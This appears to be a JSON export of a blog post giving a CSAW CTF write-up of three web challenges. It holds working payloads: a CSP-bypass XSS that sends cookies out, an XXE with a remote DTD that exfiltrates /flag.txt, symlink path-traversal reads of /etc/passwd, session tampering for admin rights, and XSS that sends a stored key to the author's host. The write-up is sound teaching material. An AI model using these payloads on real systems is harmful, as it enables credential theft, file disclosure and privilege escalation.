{"id":660,"date":"2019-09-15T17:30:12","date_gmt":"2019-09-15T21:30:12","guid":{"rendered":"http:\/\/www.wispwisp.com\/?p=660"},"modified":"2024-10-17T18:21:56","modified_gmt":"2024-10-17T18:21:56","slug":"csaw-ctfweb","status":"publish","type":"post","link":"https:\/\/www.wispwisp.com\/index.php\/2019\/09\/15\/csaw-ctfweb\/","title":{"rendered":"CSAW CTF(Web)"},"content":{"rendered":"<p>Note: This write-up doesn&#8217;t explain all the steps. Feel free to email me at <a rel=\"noopener\">peipei123gt@gmail.com<\/a> if you&#8217;re not sure how I got X.\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c<br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<strong style=\"font-size: 18pt;\">#BabyCSP:<\/strong><br \/>\n<strong><span style=\"font-size: 14pt;\">1. Bad CSP rule:<\/span><\/strong><br \/>\n<span style=\"font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-661\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-14-at-3.24.22-AM.png\" alt=\"\" width=\"437\" height=\"160\" \/><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<strong><span style=\"font-size: 14pt;\">2. Submit a post with the payload and report to admin:<\/span><\/strong><br \/>\n<span style=\"font-size: 12pt;\"><code>&lt;script src='https:\/\/accounts.google.com\/o\/oauth2\/revoke?callback=document.location=\"https:\/\/www.wispwisp.com\/?aa=\"%2bdocument.cookie;a'&gt;&lt;\/script&gt;<\/code><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<strong><span style=\"font-size: 14pt;\">3. Wait, and Got flag in \/var\/log\/apache2\/access.log:<\/span><\/strong><br \/>\n<span style=\"font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-662\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-14-at-3.16.35-AM.png\" alt=\"\" width=\"2162\" height=\"116\" \/><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<strong><span style=\"font-size: 14pt;\">CSP bypass(with JSONP) reference:<\/span><\/strong><br \/>\n<a href=\"https:\/\/www.slideshare.net\/Hacken_Ecosystem\/ebrahem-hegazy-bug-hunters-manual-for-bypassing-contentsecuritypolicy\"><span style=\"font-size: 10pt;\">https:\/\/www.slideshare.net\/Hacken_Ecosystem\/ebrahem-hegazy-bug-hunters-manual-for-bypassing-contentsecuritypolicy<\/span><\/a><br \/>\n<a href=\"https:\/\/github.com\/zigoo0\/JSONBee\"><span style=\"font-size: 10pt;\">https:\/\/github.com\/zigoo0\/JSONBee<\/span><\/a><br \/>\n<a href=\"https:\/\/github.com\/google\/csp-evaluator\/blob\/master\/whitelist_bypasses\/jsonp.js\"><span style=\"font-size: 10pt;\">https:\/\/github.com\/google\/csp-evaluator\/blob\/master\/whitelist_bypasses\/jsonp.js<\/span><\/a><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 18pt;\"><strong>#unagi:<\/strong><\/span><br \/>\n<span style=\"font-size: 14pt;\">XXE payload:<\/span><br \/>\n<span style=\"font-size: 12pt;\"><a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/XXE%20Injection\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/XXE%20Injection<\/a><\/span><br \/>\n<span style=\"font-size: 14pt;\">XXE Waf bypass:<\/span><br \/>\n<span style=\"font-size: 12pt;\"><a href=\"https:\/\/mohemiv.com\/tags\/xxe\/\">https:\/\/mohemiv.com\/tags\/xxe\/<\/a><\/span><br \/>\n<strong><span style=\"font-size: 14pt;\">1. Create payload.xml:<\/span><\/strong><\/p>\n<pre>&lt;?xml version=\"1.0\" ?&gt;\n&lt;!DOCTYPE r [\n&lt;!ELEMENT r ANY &gt;\n&lt;!ENTITY % sp SYSTEM \"http:\/\/www.wispwisp.com\/ctf\/csaw.dtd\"&gt;\n%sp;\n%param1;\n]&gt;\n&lt;r&gt;&amp;exfil;&lt;\/r&gt;<\/pre>\n<p>\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<strong><span style=\"font-size: 14pt;\">2. Convert the file to bypass WAF:<\/span><\/strong><\/p>\n<pre>cat payload.xml | iconv -f UTF-8 -t UTF-16BE &gt; payload.xml<\/pre>\n<p>\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<strong><span style=\"font-size: 14pt;\">3. Host this dtd file(http:\/\/www.wispwisp.com\/ctf\/csaw.dtd):<\/span><\/strong><\/p>\n<pre>&lt;!ENTITY % data SYSTEM \"php:\/\/filter\/convert.base64-encode\/resource=\/flag.txt\"&gt;\n&lt;!ENTITY % param1 \"&lt;!ENTITY exfil SYSTEM 'http:\/\/wispwisp.com\/dtd.xml?%data;'&gt;\"&gt;<\/pre>\n<p>\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<strong><span style=\"font-size: 14pt;\">4. Upload Payload.xml<\/span><\/strong><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<strong><span style=\"font-size: 14pt;\">5. Got base64 encoded flag in \/var\/log\/apache2\/access.log:<\/span><\/strong><br \/>\n<span style=\"font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-665\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-14-at-1.51.26-AM.png\" alt=\"\" width=\"1232\" height=\"99\" \/><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<strong><span style=\"font-size: 14pt;\">6. Base64 decode:<\/span><\/strong><br \/>\n<span style=\"font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-666\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-14-at-1.52.09-AM.png\" alt=\"\" width=\"693\" height=\"223\" \/><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 18pt;\"><strong>#Secure File Storage<\/strong><\/span><br \/>\n(I failed to solve this challenge during the CTF, because I didn&#8217;t realize the bot can not visit HTTPS site. I change my payload from HTTPS to HTTP then I receive the Key. Sad \ud83d\ude22 )<br \/>\n<span style=\"font-size: 14pt;\"><strong>0: Download the Client.py provide by the challenge, empty the main function.<\/strong><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>1. Register account + Login + Get SessionID + Upload random file(ex: temp.txt)<\/strong><\/span><\/p>\n<pre>username_tmp = \"randomusername\"\npassword = \"randompassword\"\napi_register(username_tmp, password)\napi_login(username_tmp, password)\nsess_id_1 = session.cookies['PHPSESSID']\napi_create_file(\"temp.txt\", \"aaa\")<\/pre>\n<p>\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>2. Symlink+read+edit =&gt; arbitrary file read\/write<\/strong><\/span><\/p>\n<pre>api_create_symlink(\"etc_passwd\", \"\/..\/..\/..\/..\/..\/..\/etc\/passwd\")\nprint(api_get_file('etc_passwd'))\n<\/pre>\n<p>\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>3. Get all the source code from the server with symlink+read, review source code to gain more information.<\/strong><\/span><\/p>\n<pre>api_create_symlink(\"web_file\", \"\/..\/..\/..\/..\/..\/..\/var\/www\/html\/index.php\")\nprint(api_get_file('web_file'))<\/pre>\n<p>Repeat for all files:<\/p>\n<pre>\/var\/www\/html\/*\n\/var\/www\/html\/views\/*<\/pre>\n<p><span style=\"font-size: 10pt;\"> \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c\u00a0<\/span><br \/>\n<span style=\"font-size: 14pt;\"><strong>4. Symlink tmp directory, current PHP session file. Edit session file to get admin privileges and list the tmp directory<\/strong><\/span><\/p>\n<pre><span style=\"font-size: 10pt;\">api_create_symlink(\"tmp.txt\", \"\/..\/..\/..\/..\/..\/..\/..\/..\/tmp\/\")\napi_create_symlink(\"session.txt\", \"\/..\/..\/..\/..\/..\/..\/..\/..\/tmp\/sess_{}\".format(sess_id_1))\nprint(api_get_file('session.txt'))<\/span><\/pre>\n<p>Change privs to<strong> 15<\/strong> to gain admin privileges, and list the \/tmp directory:<\/p>\n<pre><span style=\"font-size: 10pt;\">api_update_file('session.txt', 'current_user|O:4:\"User\":4:{s:8:\"username\";s:14:\"randomusername\";\ns:8:\"password\";s:60:\"$2y$10$1N3EwIDExK2SBz9f.6xhWuENRJ7Cr6RRckqpL2EPvtLXOM1QKtzDe\";s:5:\"privs\";\ns:2:\"15\";s:2:\"id\";i:230;}')\nprint(api_list_files('tmp.txt'))<\/span><\/pre>\n<p><span style=\"font-size: 14pt;\">In postman:<\/span><br \/>\n<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-682\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-15-at-6.18.50-PM.png\" alt=\"\" width=\"1914\" height=\"1236\" \/><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>5. symlink+read -&gt; get encrypted flag.txt<\/strong><\/span><br \/>\n<span style=\"font-size: 14pt;\">After reading the source code, I know the flag path is: \/tmp\/user_data\/1\/flag.txt<\/span><\/p>\n<pre><span style=\"font-size: 10pt;\">api_create_symlink(\"flag.txt\", \"\/..\/..\/..\/..\/..\/..\/..\/tmp\/user_data\/1\/flag.txt\")\nprint(api_get_file('flag.txt'))\n<\/span><\/pre>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-714\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-16-at-12.53.10-AM.png\" alt=\"\" width=\"2228\" height=\"202\" \/><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>6. Write a script to find the admin session file(in \/tmp), the username in the session file will be &#8216;admin&#8217;.\u00a0<\/strong><\/span><br \/>\n<span style=\"font-size: 14pt;\">The script should tell you the admin session file is: <strong>sess_4umud1lupqn0mpibor27r283o1<\/strong><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>7. Symlink + edit modify admin session file, change the username to XSS payload.<\/strong><\/span><\/p>\n<pre><span style=\"font-size: 10pt;\">api_create_symlink(\"admin_session\", \"\/..\/..\/..\/..\/..\/..\/tmp\/sess_4umud1lupqn0mpibor27r283o1\")\n<\/span>\n<span style=\"font-size: 10pt;\">api_update_file('admin_session', 'current_user|O:4:\"User\":4:{s:8:\"username\";s:81:\"&lt;script&gt; fetch(\n'http:\/\/www.wispwisp.com?key='+localStorage.encryptSecret)&lt;\/script&gt;\";s:8:\"password\";s:6 0:\"$2y$10\n$H38hS7IMk1MzSg\/usdBvjuRucRGkEKrc\/tJhJQOD7249oRpNqWc5O\";s:5:\"privs\";s:2:\"15\";s:2:\"id\";s:1:\"1\";}')<\/span><\/pre>\n<p>my payload:<br \/>\n<span style=\"font-size: 12pt;\"><code>&lt;script&gt; fetch( 'http:\/\/www.wispwisp.com?key='+localStorage.encryptSecret)&lt;\/script&gt;<\/code><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>8. Wait for Admin visit the admin Page, and receive the decryption key: <\/strong><\/span><br \/>\n<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-704\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-16-at-12.08.39-AM.png\" alt=\"\" width=\"1878\" height=\"114\" \/><br \/>\n<span style=\"font-size: 14pt;\">localStorage.encryptSecret: <strong>wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=<\/strong><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>9. Decrypt the Cipher(encrypted flag) with the Key to get the flag:<\/strong><\/span><br \/>\n<img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-706\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-16-at-12.17.17-AM.png\" alt=\"\" width=\"617\" height=\"64\" \/><\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-705\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2019\/09\/Screen-Shot-2019-09-16-at-12.18.54-AM.png\" alt=\"\" width=\"563\" height=\"142\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Note: This write-up doesn&#8217;t explain all the steps. Feel free to email me at peipei123gt@gmail.com if you&#8217;re not sure how I got X.\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c #BabyCSP: 1. Bad CSP rule: \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c 2. Submit a post with the payload and report to admin: [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":686,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/660"}],"collection":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/comments?post=660"}],"version-history":[{"count":5,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/660\/revisions"}],"predecessor-version":[{"id":1249,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/660\/revisions\/1249"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/media\/686"}],"wp:attachment":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/media?parent=660"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/categories?post=660"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/tags?post=660"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}